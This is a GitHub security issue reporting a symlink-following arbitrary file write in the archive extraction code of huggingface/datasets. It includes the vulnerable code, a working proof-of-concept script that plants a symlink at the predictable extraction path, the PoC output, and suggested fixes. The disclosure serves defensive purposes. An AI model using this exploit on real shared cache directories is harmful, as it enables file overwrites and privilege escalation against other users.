Skip to content

[security] Symlink-Following Arbitrary File Write via Archive Extraction in huggingface/datasets #8296

Description

@AAtomical

Describe the bug

Summary

A symlink-following vulnerability exists in the archive extraction subsystem of huggingface/datasets that allows a local attacker with write access to a shared HuggingFace cache directory to write arbitrary files with the victim's privileges, by pre-planting a symlink at a predictable extraction output path.

The root cause is that Extractor.extract() in src/datasets/utils/extract.py calls shutil.rmtree(output_path, ignore_errors=True) which silently fails when output_path is a symlink (Python ≥3.8 documented behavior), then proceeds to extract archive contents through the surviving symlink via os.makedirs(output_path, exist_ok=True) + extractall().

The existing safemembers() defense (CVE-2007-4559 zip-slip mitigation) only validates archive member names — it is completely blind to the output directory itself being a symlink. The extraction output path is fully predictable (sha256 with no salt).

In shared-cache deployments (CI runners, multi-user ML servers, NFS mounts, Docker volumes), this yields arbitrary file write as the victim → privilege escalation / code execution.

Vulnerability Details

Vulnerable function: Extractor.extract()

# src/datasets/utils/extract.py, line 432-444
@classmethod
def extract(cls, input_path, output_path, extractor_format):
    os.makedirs(os.path.dirname(output_path), exist_ok=True)
    lock_path = str(Path(output_path).with_suffix(".lock"))
    with FileLock(lock_path):
        shutil.rmtree(output_path, ignore_errors=True)   # ← silent no-op on symlink
        extractor = cls.extractors[extractor_format]
        return extractor.extract(input_path, output_path) # ← follows the symlink

Sink: format-specific extractors

# TarExtractor.extract(), line 128-132 (identical pattern in Zip/Rar/7z)
@staticmethod
def extract(input_path, output_path):
    os.makedirs(output_path, exist_ok=True)                                    # ← follows symlink
    tar_file = tarfile.open(input_path)
    tar_file.extractall(output_path, members=TarExtractor.safemembers(...))     # ← writes to target

Why shutil.rmtree fails silently

Since Python 3.8 (bpo-35699), shutil.rmtree() raises OSError when the path is a symbolic link to a directory. With ignore_errors=True, this exception is swallowed. The symlink, its target, and all target contents survive completely intact.

Why safemembers does NOT mitigate

# safemembers() resolves output_path THROUGH the symlink:
base = os.path.realpath(os.path.abspath(output_path))  # → attacker's target dir
# All archive members are relative to base, so they trivially pass:
#   resolved(os.path.join(base, member_name)).startswith(base)  → always True

Steps to reproduce the bug

Exploit

import hashlib
import os
import shutil
import sys
import tempfile

CACHE = tempfile.mkdtemp(prefix="hf_poc_")
os.environ["HF_HOME"] = CACHE
os.environ["HF_DATASETS_CACHE"] = CACHE

import datasets
from datasets.download.download_config import DownloadConfig
from datasets.download.download_manager import DownloadManager

ARCHIVE_URL = "https://huggingface.co/datasets/AI-Lab-Makerere/beans/resolve/main/data/train.zip"


def predict_extraction_path(downloaded_file: str) -> str:
    h = hashlib.sha256(os.path.abspath(downloaded_file).encode()).hexdigest()
    return os.path.join(CACHE, "downloads", "extracted", h)


# Step 1: victim downloads the archive (normal usage)
dl_config = DownloadConfig(cache_dir=os.path.join(CACHE, "downloads"))
dl_manager = DownloadManager(dataset_name="beans", download_config=dl_config)
downloaded = dl_manager.download(ARCHIVE_URL)

# Step 2: attacker plants symlink at predictable extraction output
target_dir = tempfile.mkdtemp(prefix="pwned_")
extract_path = predict_extraction_path(downloaded)
os.makedirs(os.path.dirname(extract_path), exist_ok=True)
os.symlink(target_dir, extract_path)

# Step 3: victim triggers extraction (same as load_dataset with script-based dataset)
extracted = dl_manager.extract(downloaded)

# Verify
written = []
for root, _, files in os.walk(target_dir):
    written.extend(files)

print(f"datasets=={datasets.__version__}")
if written:
    print(f"[+] {len(written)} files written through symlink to {target_dir}")
    print(f"    extraction_path (symlink): {extract_path}")
    print(f"    sample files: {written[:5]}")
    sys.exit(0)
else:
    print("[-] exploit failed")
    sys.exit(1)

PoC output

datasets==5.0.0
[+] 1035 files written through symlink to /tmp/pwned_b47xqr3l
    extraction_path (symlink): /tmp/hf_poc_.../downloads/extracted/9afad9e56ab3c5...
    sample files: ['healthy_train.265.jpg', 'healthy_train.271.jpg', 'healthy_train.259.jpg']
Image

Expected behavior

Output path predictability

# ExtractManager._get_output_path(), line 34-40
abs_path = os.path.abspath(path)
return os.path.join(self.extract_dir, hash_url_to_filename(abs_path))

# hash_url_to_filename(): sha256(url), docstring: "in a repeatable way", no salt

Given (cache_dir, dataset_url) — both public/predictable — the attacker computes the exact extraction path.

Suggested Fix

Add symlink rejection before extraction, or use atomic extract-then-rename:

# Option A: reject symlinks (minimal change)
@classmethod
def extract(cls, input_path, output_path, extractor_format):
    os.makedirs(os.path.dirname(output_path), exist_ok=True)
    lock_path = str(Path(output_path).with_suffix(".lock"))
    with FileLock(lock_path):
        if os.path.islink(output_path):
            os.unlink(output_path)          # remove the symlink itself
        shutil.rmtree(output_path, ignore_errors=True)
        extractor = cls.extractors[extractor_format]
        return extractor.extract(input_path, output_path)

# Option B: atomic extract-then-rename (strongest)
with FileLock(lock_path):
    tmp = tempfile.mkdtemp(dir=os.path.dirname(output_path))
    try:
        extractor.extract(input_path, tmp)
        if os.path.islink(output_path):
            os.unlink(output_path)
        elif os.path.isdir(output_path):
            shutil.rmtree(output_path)
        os.rename(tmp, output_path)
    except:
        shutil.rmtree(tmp, ignore_errors=True)
        raise

Environment info

Environment

Component Detail
datasets 5.0.0 (pip install)
Python 3.11.0
Dataset AI-Lab-Makerere/beans (real Hub download)
Attack surface Shared HF cache directory

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions